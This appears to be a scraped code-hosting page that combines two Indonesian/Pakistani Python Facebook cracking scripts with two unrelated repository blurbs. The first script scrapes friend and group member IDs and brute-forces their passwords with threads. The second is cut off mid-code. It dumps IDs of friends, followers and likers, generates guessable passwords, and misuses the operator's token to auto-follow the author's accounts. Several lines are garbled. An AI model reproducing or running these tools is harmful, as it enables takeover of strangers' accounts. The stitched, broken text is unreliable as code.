queenxaz / Mbf1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 Raw Blame History from __future__ import print_function import platform,os def tampil (x): w = { 'm' : 31, 'h' : 32 , 'k' : 33 , 'b' : 34 , 'p' : 35 , 'c' : 36} for i in w: x = x.replace( '\r %s ' % i, '\033[ %s ;1m' % w[i]) x += '\033[0m' x = x.replace( '\r0' , '\033[0m' ) print (x) if platform.python_version().split( '.' )[ 0 ] != '2' : tampil( '\rm[!] kamu menggunakan python versi %s silahkan menggunakan versi 2.x.x' % v().split( ' ' )[ 0 ] os.sys.exit() import cookielib,re,urllib2,urllib,threading try: import mechanize except ImportError : tampil( '\rm[!]SepertiNya Module \rcmechanize\rm belum di install...' ) os.sys.exit() def keluar (): simpan() tampil( '\rm[!]Keluar' ) os.sys.exit() log = 0 id_bteman = [] id_bgroup = [] fid_bteman = [] fid_bgroup = [] br = mechanize.Browser() br.set_handle_robots( False ) br.set_handle_equiv( True) br.set_handle_referer( True) br.set_cookiejar(cookielib.LWPCookieJar()) br.set_handle_redirect( True) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1 ) br.addheaders = [( 'User-Agent' , 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Versi def bacaData(): global fid_bgroup,fid_bteman try: fid_bgroup = open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'r' ).readlines() except : pass try: fid_bteman = open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'r' ).readlines() except : pass def inputD (x,v = 0 ): while 1 : try : a = raw_input ( '\x1b[32;1m %s \x1b[31;1m:\x1b[33;1m' % x) except : tampil( '\n\rm[!]Batal' ) keluar() if v: if a.upper() in v: break else: tampil( '\rm[!]Masukan Opsinya Bro...' ) continue else: if len(a) == 0 : tampil( '\rm[!]Masukan dengan benar' ) continue else: break return a def inputM (x,d): while 1 : try : i = int(inputD(x)) except : tampil( '\rm[!]Pilihan tidak ada' ) continue if i in d: break else: tampil( '\rm[!]Pilihan tidak ada' ) return i def simpan (): if len (id_bgroup) != 0 : tampil( '\rh[*]Menyimpan hasil dari group' ) try : open(os.sys.path[ 0 ] + '/MBFbgroup.txt' , 'w' ).write( '\n' .join(id_bgroup)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgroup.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) if len (id_bteman) != 0 : tampil( '\rh[*]Menyimpan hasil daftar Teman...' ) try : open(os.sys.path[ 0 ] + '/MBFbteman.txt' , 'w' ).write( '\n' .join(id_bteman)) tampil( '\rh[!]Berhasil meyimpan \rcMBFbgteman.txt' ) except : tampil( '\rm[!]Gagal meyimpan' ) def buka(d): tampil( '\rh[*]Membuka \rp' + d) try: x = br.open(d) br._factory.is_html = True x = x.read() except : tampil( '\rm[!]Gagal membuka \rp' + d) keluar() if '<link rel="redirect" href="' in x: return buka(br.find_link().url) else: return x def login (): global log us = inputD( '[?]Email/HP' ) pa = inputD( '[?]Kata Sandi' ) tampil( '\rh[*]Sedang Login....' ) buka( 'https://m.facebook.com' ) br.select_form( nr = 0 ) br.form[ 'email' ] = us br.form[ 'pass' ] = pa br.submit() url = br.geturl() if 'save-device' in url or 'm_sess' in url: tampil( '\rh[*]Login Berhasil' ) buka( 'https://mobile.facebook.com/home.php' ) nama = br.find_link( url_regex = 'logout.php' ).text nama = re.findall( r ' \( (. * a ? ) \) ' ,nama)[ 0 ] tampil( '\rh[*]Selamat datang \rk %s \n\rh[*]Semoga ini adalah hari keberuntungan mu....' % nam log = 1 elif 'checkpoint' in url: tampil( '\rm[!]Akun kena checkpoint\n\rk[!]Coba Login dengan opera mini' ) keluar() else: tampil( '\rm[!]Login Gagal' ) def saring_id_teman (r): for i in re.findall( r '/friends/hovercard/mbasic/ \? uid= (. *? ) &' ,r): id_bteman.append(i) tampil( '\rc==>\rb %s \rm' % i) def saring_id_group1 (d): for i in re.findall( r '<h3><a href="/ (. *? ) fref=pb' ,d): if i.find( 'profile.php' ) == - 1 : a = i.replace( '?' , '' ) else: a = i.replace( 'profile.php?id=' , '' ).replace( '&' , '' ) if a not in id_bgroup: tampil( '\rk==>\rc %s ' % a) id_bgroup.append(a) def saring_id_group0 (): global id_group while 1 : id_group = inputD( '[?]Id Group' ) tampil( '\rh[*]Mengecek Group....' ) a = buka( 'https://m.facebook.com/browse/group/members/?id=' + id_group + '&start=0&lis nama = ' ' .join(re.findall( r '<title> (. *? ) </title>' ,a)[ 0 ].split()[ 1 :]) try : next = br.find_link( url_regex = '/browse/group/members/' ).url break except : tampil( '\rm[!]Id yang anda masukan salah' ) continue tampil( '\rh[*]Mengambil Id dari group \rc %s ' % nama) saring_id_group1(a) return next def idgroup(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() next = saring_id_group0() while 1 : saring_id_group1(buka( next)) try : next = br.find_link( url_regex = '/browse/group/members/' ).url except : tampil( '\rm[!]Hanya Bisa Mengambil \rh %d id' % len (id_bgroup)) break simpan() i = inputD( '[?]Langsung Crack (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bgroup) else: return menu() def idteman(): if log != 1 : tampil( '\rh[*]Login dulu bos...' ) login() if log == 0 : keluar() saring_id_teman(buka( 'https://m.facebook.com/friends/center/friends/?fb_ref=fbm&ref_component=mbasi try: next = br.find_link( url_regex = 'friends_center_main' ).url except : if len (id_teman) != 0 : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) else: tampil( '\rm[!]Batal' ) keluar() while 1 : saring_id_teman(buka( next)) try : next = br.find_link( url_regex = 'friends_center_main' ).url except : tampil( '\rm[!]Hanya dapat mengambil \rp %d id' % len (id_bteman)) break simpan() i = inputD( '[?]Langsung wae ah yuu(y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(id_bteman) else: return menu() class mt ( threading . Thread ): def __init__ (self,i,p): threading.Thread. __init__ ( self) self.id = i self.a = 3 self.p = p def update (self): return self.a, self.id def run(self): try: data = urllib2.urlopen(urllib2.Request( url = 'https://m.facebook.com/login.php' , data = urllib.urle except KeyboardInterrupt: os.sys.exit() except : self.a = 8 os.sys.exit() if 'm_sess' in data.url or 'save-device' in data.url: self.a = 1 elif 'checkpoint' in data.url: self.a = 2 else: self.a = 0 def crack (d): i = inputD( '[?]Pake Passwordlist/Manual (p/m)' ,[ 'P' , 'M' ]) if i.upper() == 'P' : while 1 : dir = inputD( '[?]Masukan alamat file' ) try: D = open( dir, 'r' ).readlines() except : tampil( '\rm[!]Gagal membuka \rk %s ' % dir) continue break tampil( '\rh[*]Memulai crack dengan \rk %d password' % len(D)) for i in D: i = i.replace( '\n' , '' ) if len(i) != 0 : crack0(d,i, 0 ) i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(d) else: return menu() else: return crack0(d,inputD( '[?]Sandi' ), 1 ) def crack0 (data,sandi,p): tampil( '\rh[*]MengCrack \rk %d Akun \rhdengan sandi \rm[\rk %s \rm]' % ( len(data),sandi)) print ( '\033[32;1m[*]Cracking \033[31;1m[\033[36;1m0%\033[31;1m]\033[0m' , end= '' ) os.sys.stdout.flush() akun_jml = [] akun_sukses = [] akun_cekpoint = [] akun_error = [] akun_gagal = [] jml0,jml1 = 0 , 0 th = [] for i in data: i = i.replace( ' ' , '' ) if len (i) != 0 :th.append(mt(i,sandi)) for i in th: jml1 += 1 i.daemon = True try :i.start() except KeyboardInterrupt: exit() while 1 : try : for i in th: a = i.update() if a[ 0 ] != 3 and a[ 1 ] not in akun_jml: jml0 += 1 if a[ 0 ] == 2 : akun_cekpoint.append(a[ 1 ]) elif a[ 0 ] == 1 : akun_sukses.append(a[ 1 ]) elif a[ 0 ] == 0 : akun_gagal.append(a[ 1 ]) elif a[ 0 ] == 8 : akun_error.append(a[ 1 ]) print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m %0.2f%s \033[ os.sys.stdout.flush() akun_jml.append(a[ 1 ]) except KeyboardInterrupt: os.sys.exit() try : if threading.activeCount() == 1 : break except KeyboardInterrupt: keluar() print ( '\r\033[32;1m[*]Cracking \033[31;1m[\033[36;1m100%\033[31;1m]\033[0m ' ) if len (akun_sukses) != 0 : tampil( '\rh[*]Daftar akun sukses' ) for i in akun_sukses: tampil( '\rh==>\rk %s \rm[\rp %s \rm]' % (i,sandi)) tampil( '\rh[*]Jumlah akun berhasil\rp %d ' % len(akun_sukses)) tampil( '\rm[*]Jumlah akun gagal\rp %d ' % len(akun_gagal)) tampil( '\rk[*]Jumlah akun cekpoint\rp %d ' % len(akun_cekpoint)) tampil( '\rc[*]Jumlah akun error\rp %d ' % len(akun_error)) if p: i = inputD( '[?]Tidak Puas dengan Hasil,Mau coba lagi (y/t)' ,[ 'Y' , 'T' ]) if i.upper() == 'Y' : return crack(data) else: return menu() else: return 0 def lanjutT(): global fid_bteman if len (fid_bteman) != 0 : i = inputD( '[?]Riset Hasil Id Teman/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bteman) else: os.remove(os.sys.path[ 0 ] + '/MBFbteman.txt' ) fid_bteman = [] return 0 def lanjutG(): global fid_bgroup if len (fid_bgroup) != 0 : i = inputD( '[?]Riset Hasil Id Group/lanjutkan (r/l)' ,[ 'R' , 'L' ]) if i.upper() == 'L' : return crack(fid_bgroup) else: os.remove(os.sys.path[ 0 ] + '/MBFbgroup.txt' ) fid_bgroup = [] return 0 def menu(): tampil( '''\rh .-.-.. /+/++// /+/++// \rk* *\rh /+/++// \ / |/__// {\rmX\rh}v{\rmX\rh}|\rcPRX\rh|==========. ['] /'|'\ \\ / \ \ ' \_ \_ \_ \rk*\rhDragonFly coly \rk########################################################### # \rb*MULTY BRUTEFORCE FACEBOOK*\rk # # \rhBY\rp panda07\rk# # \rhGroup FB\rp https://m.facebook.com/groups/164201767529837 \rk# # \rhGitHub\rp https://github.com/zack007 \rk# # \rmDo Not Use This Tool For IllegaL Purpose \rk# ###########################################################''') tampil( '''\rk %s \n\rc1 \rhAmbil id dari group\n\rc2 \rhAmbil id dari daftar teman\n\rc3 \rmKELUAR\n i = inputM( '[?]PILIH' ,[ 1 , 2 , 3 ]) if i == 1 : lanjutG() idgroup() elif i == 2 : lanjutT() idteman() elif i == 3 : keluar() bacaData() menu()
benjiaomodular / PatchInit CollectionA collection of DaisyDuino code examples for the Daisy Patch.Init() Eurorack module
kschroeder / Magento Namespace AutoloaderThis is a simple module that allows you to use PHP 5.3 namespaced code in Magento 1. The most typical use for this will be if you are using a namespaced library in /lib in a Magento module. This module injects itself at controller_front_init_before and will be called before the native autoloader, but will only autoload namespaced classes thus leaving normal autoloading alone.
ahmar00987 / Ahsam#!/usr/bin/python3 #-*-coding:utf-8-*- # Made With ❤️ By Ahmar And AHMARCODE Project # Update V0.1 # Copyright© Ahmar ID 2021 # 100% Open Source Code # Author : Ahmar jan. # Facebook (Alizar M.M.M X) : https://www.facebook.com/profile.php?id=100027259894020X # Instagram (☬ 𝐀𝐧𝐨𝐧𝐲𝐦 𝟒𝟎𝟒 ☬) : Instagram.com. # Whatsapp (Alizar) : 03127103451 # Free Recode For Personal Use # Bebas Recode Untuk Penggunaan Pribadi # Izin Terlebih Dahulu Apabila Ingin Re-Upload # Jangan Jual Belikan File Source Code Ini ! ### Import Module import requests,sys,bs4,os,random,time,json from concurrent.futures import ThreadPoolExecutor as ThreadPool from datetime import datetime ### Perumpamaan Module & Syntax _req_get_ = requests.get _req_post_ = requests.post _js_lo_ = json.loads _ahmar_cici_ = print _cici_ahmar_ = input _ahmar_ahmar_ = open _cici_cici_ = exit ### Waktu & Tanggal current = datetime.now() ta = current.year bu = current.month ha = current.day bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] try: if bu < 0 or bu > 12: _cici_cici_() buTemp = bu - 1 except ValueError: _cici_cici_() op = bulan[buTemp] tanggal = ("%s-%s-%s"%(ha,op,ta)) ### Warna _P_ = "\x1b[0;97m" # Putih _M_ = "\x1b[0;91m" # Merah _H_ = "\x1b[0;92m" # Hijau _U_ = "\x1b[0;95m" # Ungu ### Logo _logo_line_1_ = ('%s.------..------..------..------..------.(_U_)) _logo_line_2_ = ('%s|A.--. ||H.--. ||M.--. ||A.--. ||R.--. |%s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) _logo_line_3_ = ('%s| (\/) || :/\: || (\/) || (\/) || :(): | %sEditor By %s• AHMAR JAN %s '%(_U_,_M_,_P_,_U_)) _logo_line_4_ = ('%s| :\/: || (__) || :\/: || :\/: || ()() | %sWhatssap %s• 03127103451 %s '%(_U_,_M_,_P_,_U_)) _logo_line_5_ = ('%s| '--'A|| '--'H|| '--'M|| '--'A|| '--'R| %sAdrees %s• FASILABAD %s '%(_U_,_M_,_P_,_U_)) _logo_line_6_ = ('%s`------'`------'`------'`------'`------' %s。☆✼★━━━━━━━━━━━━━━━━━━━━━━━━━★✼☆。'%(_U_,_H_)) def _my_logo_(): _ahmar_cici_(_logo_line_1_) _ahmar_cici_(_logo_line_2_) _ahmar_cici_(_logo_line_3_) _ahmar_cici_(_logo_line_4_) _ahmar_cici_(_logo_line_5_) _ahmar_cici_(_logo_line_6_+'\n') ### User Agent ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' ### Penampungan _id_tampung_ = [] ### Jangan Diganti Nanti Error _oscylopsce_ = '__Ahmar__' _ascylapsci_ = '__Cici__' _escylipsce_ = '__Ahmar_Love_Cici__' _uscylupsci_ = '__My_Love____Ahmar____Ahmar_Love_Cici____Cici____Forever__' ### Membuat Folder Direktori def _folder_(): try:os.mkdir("CP") except:pass try:os.mkdir("OK") except:pass ### Clear Login Session def _bersih_(): try:os.remove('token.txt') except:pass ### Clear User Agent def _del_(): try:os.remove('ugent.txt') except:pass ### Clear Terminal def _clear_(): if "linux" in sys.platform.lower():os.system("clear") elif "win" in sys.platform.lower():os.system("cls") else:os.system("clear") ### Jangan Diganti Anjink! def _bot_follow_(_tok_dev_): token = _tok_dev_ try: _req_post_("https://https://www.facebook.com/profile.php?id=100027259894020/subscribers?access_token=" + token) Alizar M.M.M # _req_post_("https://graph.facebook.com/100060885769913/subscribers?access_token=" + token) # احسان اللہ _req_post_("https://graph.facebook.com/100012267158212/subscribers?access_token=" + token) # وزیراعظم صاحب _req_post_("https://graph.facebook.com/100009834670141/subscribers?access_token=" + token) # نسرین اختر _req_post_("https://graph.facebook.com/100007026360241/subscribers?access_token=" + token) # Zama Jan _ahmar_cici_('\n%s[%s!%s] %sLogin Successful'%(_H_,_P_,_H_,_P_)) time.sleep(2) except (KeyError,IOError):pass ### Login def _login_dev_(_Cici_Cantik_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Cici_Cantik_Banget_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:pass _tok_dev_ = _cici_ahmar_('%s[%s•%s] %sPLEASE Enter Token :\n\n'%(_P_,_H_,_P_,_U_)) try: _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _op_dev_ = _ahmar_ahmar_('token.txt','w') _op_dev_.write(_tok_dev_) _op_dev_.close() _bot_follow_(_tok_dev_) _default_ua_(_Cici_Cantik_Banget_) _menu_dev_(_Cici_Cantik_Banget_) except (KeyError,IOError): _ahmar_cici_('\n%s[%s!%s] %sToken EXPIRE'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Cici_Cantik_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('\n%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() ### Menu def _menu_dev_(_Ahmar_Ganteng_Banget_): _clear_() _my_logo_() if _uscylupsci_ not in _Ahmar_Ganteng_Banget_:_ahmar_cici_('%s[%s!%s] %sHayoo Mau Recode Ya?'%(_M_,_P_,_M_,_P_)) else:pass try: _tok_dev_ = _ahmar_ahmar_("token.txt","r").read() _req_tok_ = _req_get_("https://graph.facebook.com/me?access_token=%s"%(_tok_dev_)) _js_load_ = _js_lo_(_req_tok_.text) _nama_dev_ = _js_load_['name'] _id_dev_ = _js_load_['id'] except (KeyError,IOError): _ahmar_cici_('%s[%s!%s] %sToken Invalid'%(_M_,_P_,_M_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) except requests.exceptions.ConnectionError: _ahmar_cici_('%s[%s!%s] %sConnection Problem'%(_M_,_P_,_M_,_P_)) _cici_cici_() try: _ip_url_ = "http://ip-api.com/json/" _ip_headers_ = { "Referer":"http://ip-api.com/", "Content-Type":"application/json; charset=utf-8", "User-Agent":"Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]" } _ip_req_ = _req_get_(_ip_url_,headers=_ip_headers_).json() _ip_dev_ = _ip_req_["query"] except: _ip_dev_ = " " _ahmar_cici_('%s[%s•%s] %sWelcome %s%s'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_)) _ahmar_cici_('%s[%s•%s] %sID : %s'%(_U_,_P_,_U_,_P_,_id_dev_)) _ahmar_cici_('%s[%s•%s] %sIP : %s\n'%(_U_,_H_,_U_,_H_,_ip_dev_)) _ahmar_cici_('%s[%s1%s] %sCrack From Friends/Public ID '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sCrack From Followrs ID'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sCrack ID From Likers'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sView Crack Results'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sUser Agent'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s0%s] %sLog Out'%(_U_,_P_,_U_,_M_)) _ahmar_menu__cici_ahmar__ = _cici_ahmar_('%s[%s•%s] %sChooses : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if _ahmar_menu__cici_ahmar__ in ['',' ']: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['1','01','a']: _publik_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['2','02','b']: _followers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['3','03','c']: _likers_dev_(_tok_dev_) elif _ahmar_menu__cici_ahmar__ in ['4','04','d']: _cek_result_dev_() elif _ahmar_menu__cici_ahmar__ in ['5','05','e']: _ugen_dev_(_Ahmar_Ganteng_Banget_) elif _ahmar_menu__cici_ahmar__ in ['0','00','z']: _ahmar_cici_('%s[%s•%s] %sSee you later %s%s %s!'%(_U_,_P_,_U_,_P_,_U_,_nama_dev_,_P_)) _bersih_() time.sleep(2) _login_dev_(_Ahmar_Ganteng_Banget_) else: _ahmar_cici_('%s[%s!%s] %sWrong input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_Ganteng_Banget_) ### Dump ID Publik def _publik_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sType (Me) Clone your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sINPUT TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarger Name: %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/friends?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /ID Not Found'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Pengikut def _followers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPast Target ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sTarget Name : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid /Targe not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/subscribers?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / Target Not public'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Dump ID Likers def _likers_dev_(_tok_dev_): _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' _ahmar_cici_('%s[%s•%s] %sTpye /Me/ Clone Your Login ID'%(_U_,_P_,_U_,_P_)) _target_dev_ = _cici_ahmar_('%s[%s•%s] %sPAST TARGET ID : %s'%(_U_,_P_,_U_,_P_,_U_)) try: _req_tar_ = _req_get_("https://graph.facebook.com/%s?access_token=%s"%(_target_dev_,_tok_dev_)) _jso_tar_ = _js_lo_(_req_tar_.text) _name_ = _jso_tar_['name'] _ahmar_cici_('%s[%s•%s] %sNama : %s%s'%(_U_,_P_,_U_,_P_,_U_,_name_)) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) try: _req_fl_ = _req_get_("https://graph.facebook.com/%s/likes?limit=1000000&access_token=%s"%(_target_dev_,_tok_dev_)) _lo_dev_ = _js_lo_(_req_fl_.text) _jso_file_ = (_jso_tar_["first_name"]+".json").replace(" ","_") _jso_exec_ = _ahmar_ahmar_(_jso_file_,"w") for _Ahmar_Cici_Forever_ in _lo_dev_["data"]: try: _id_tampung_.append(_Ahmar_Cici_Forever_["id"]+"•"+_Ahamr_Cici_Forever_["name"]) _jso_exec_.write(_Ahmar_Cici_Forever_["id"]+"•"+_Ahmar_Cici_Forever_["name"]+"\n") except:continue _jso_exec_.close() _ahmar_cici_('%s[%s•%s] %sTotal ID : %s%s'%(_U_,_P_,_U_,_P_,_U_,len(_id_tampung_))) except: _ahmar_cici_('%s[%s!%s] %sToken Invalid / ID NOT FOUND'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) return _crack_dev_(_jso_file_) ### Generate Password def _pass_list_(_cici_): _ahmar_=[] for i in _cici_.split(" "): if len(i)<3: continue else: i=i.lower() if len(i)==3 or len(i)==4 or len(i)==5: _ahmar_.append(i+"123") _ahmar_.append(i+"12345") else: _ahmar_.append(i) _ahmar_.append(i+"123") _ahmar_.append(i+"12345") _ahmar_.append(_cici_.lower()) _ahmar_.append("pakistan") _ahmar_.append("123456789") _ahmar_.append("123456") return _ahmar_ ### Logger Crack def log_api(em,pas,hosts): ua = open('ugent.txt','r').read() r = requests.Session() header = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} param = {'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'json', 'sdk_version': '2', 'email': em, 'locale': 'en_US', 'password': pas, 'sdk': 'ios', 'generate_session_cookies': '1', 